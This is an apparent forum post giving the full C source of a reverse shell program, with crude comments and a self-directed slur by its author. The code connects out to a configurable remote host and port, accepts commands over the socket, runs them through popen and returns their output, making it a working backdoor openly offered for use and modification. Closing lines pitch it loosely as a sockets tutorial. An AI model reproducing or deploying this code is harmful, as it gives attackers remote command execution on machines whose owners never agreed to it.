/* MUTHAFUKKEN REVERSE SHELL By a32 Do whatever you want with this code. I dont give a shit. Have fun using/modding this. I had fun coding this ;D */ #include <stdio.h> #include <sys/socket.h> #include <netdb.h> #include <stdlib.h> #include <string.h> //Put the remote host and port here #define RIP "127.0.0.1" #define RPORT 2256 int main(void){ int SocketHandle; struct sockaddr_in ServerAddr; struct hostent * Server; char RecvD[64],OutPut[512]; FILE * SockStream; FILE * ShellStream; //Get the remote host Server = gethostbyname(RIP); if (!Server){ printf("Couldnt find the host.\n"); exit(0); } //Create the socket SocketHandle = socket(AF_INET,SOCK_STREAM,0); if (SocketHandle == -1){ printf("Socket creation is fucked.\n"); exit(0); } //Do stuff to set the remote connection info ServerAddr.sin_family = AF_INET; ServerAddr.sin_addr = *((struct in_addr*)Server->h_addr); ServerAddr.sin_port = htons(RPORT); //Connect the socket if (connect(SocketHandle,(struct sockaddr *) &ServerAddr,sizeof(ServerAddr)) < 0){ printf("Connection failed.\n"); exit(0); } //Open the socket like a file SockStream = fdopen(SocketHandle,"w+"); //Use formatted I/O fprintf(SockStream,"Hai and welcome to a32s remote shell!\n"); //???? //PROFIT!!! while (1){ fprintf(SockStream,"> "); fgets(RecvD,64,SockStream); //Check if the command was "exit" if(strcmp("exit\n",RecvD) == 0){ fprintf(SockStream,"Cya!\n",OutPut); break; } //Execute the command and read the output ShellStream = popen(RecvD,"r"); if (ShellStream != NULL){ while(!feof(ShellStream)){ if (fgets(OutPut,512,ShellStream)){ fprintf(SockStream,"%s",OutPut); } } } else { fprintf(SockStream,"Error!\n"); } pclose(ShellStream); } //Clean up everything fclose(SockStream); close(SocketHandle); return 0; }
Have fun. This shows how to setup simple sockets, connect them, use formatted I/O in them, start commands, read their output and stuff.
May have some bugs/errors, idk, Im not a C wizard, Im just learning it ftl.
BTW: A32 is my name on a lot of forums. Yup, I am that fag. ;D
BTW2: The shell cannot change directories. Wanna add that feature? Be my guest.